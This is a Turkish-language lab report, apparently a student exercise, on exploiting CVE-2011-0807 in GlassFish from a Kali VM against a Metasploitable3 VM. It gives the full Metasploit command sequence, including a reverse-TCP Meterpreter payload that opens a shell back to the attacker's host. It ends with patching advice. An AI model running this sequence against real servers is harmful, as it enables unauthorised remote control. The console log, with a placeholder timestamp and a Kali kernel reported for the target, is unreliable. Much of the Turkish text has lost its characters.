CVE-2011-0807 Exploitation Report

1. Giri?

Bu dokümanda Kali Linux (192.168.96.2) üzerinden, CVE-2011-0807 zafiyetini kullanarak Metasploit3 (192.168.96.20) sanal makinesi üzerinde çal??an GlassFish Server?a yönelik gerçekle?tirilen sald?r? detayl? olarak anlat?lm??t?r.

2. Zafiyet Aç?klamas? (CVE-2011-0807)

CVE-2011-0807, Oracle GlassFish Server Open Source Edition 3.0.1 sürümünde yer alan bir uzaktan dosya yükleme zafiyetidir. Yetkisiz bir sald?rgan, bu zafiyeti kullanarak hedef sisteme zararl? dosyalar yükleyebilir ve kod çal??t?rabilir.

3. Sistem Bilgileri

Sald?rgan: Kali Linux

- Sanal Makine Ad?: Kali - B201210602
- IP: 192.168.96.2

Hedef: Metasploit3

- Sanal Makine Ad?: Metasploit3 - B206912102
- IP: 192.168.96.20
- Aç?k Servis: GlassFish Server

4. Sald?r? Ad?mlar?

Ad?m 1: Nmap Taramas?

CVE-2011-0807 Exploitation Report

---

nmap -sS -sV 192.168.96.20

-> Port 4848/tcp aç?k (GlassFish Admin Console)

Ad?m 2: Exploit Seçimi

---

msfconsole

use exploit/multi/http/glassfish_deployer

set RHOSTS 192.168.96.20

set RPORT 4848

Ad?m 3: Payload Ayarlar?

---

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.96.2

set LPORT 4444

Ad?m 4: Exploit Çal??t?rma

---

exploit

-> Meterpreter oturumu ba?ar?l? bir ?ekilde aç?l?r.

Ad?m 5: Sistemde Komut Çal??t?rma

---

meterpreter > sysinfo

meterpreter > shell

5. Sonuçlar

Zafiyet ba?ar?l? bir ?ekilde kullan?larak hedef sistemde Meterpreter oturumu elde edilmi?tir. Bu oturum arac?l???yla sistem üzerinde komut çal??t?r?lm?? ve tam kontrol sa?lanm??t?r.

6. Loglar ve Terminal Ç?kt?lar?

[*] Started reverse TCP handler on 192.168.96.2:4444

[*] Uploading payload

[*] Deploying WAR file

[*] Sending request to trigger payload...

[*] Meterpreter session 1 opened (192.168.96.2:4444 -> 192.168.96.20) at [timestamp]

meterpreter > sysinfo

Computer: metasploit3

OS: Linux metasploit3 5.10.0-kali3-amd64

7. Güvenlik Önerileri

- GlassFish 3.1 veya daha üst bir sürüme güncellenmelidir.

- Admin paneli internet eri?imine kapat?lmal?.

- Güçlü ?ifreleme ve eri?im kontrolleri kullan?lmal?d?r.

8. Kaynakça

CVE-2011-0807 Exploitation Report

- https://nvd.nist.gov/vuln/detail/CVE-2011-0807

- https://www.rapid7.com/db/modules/exploit/multi/http/glassfish_deployer/

- https://docs.oracle.com/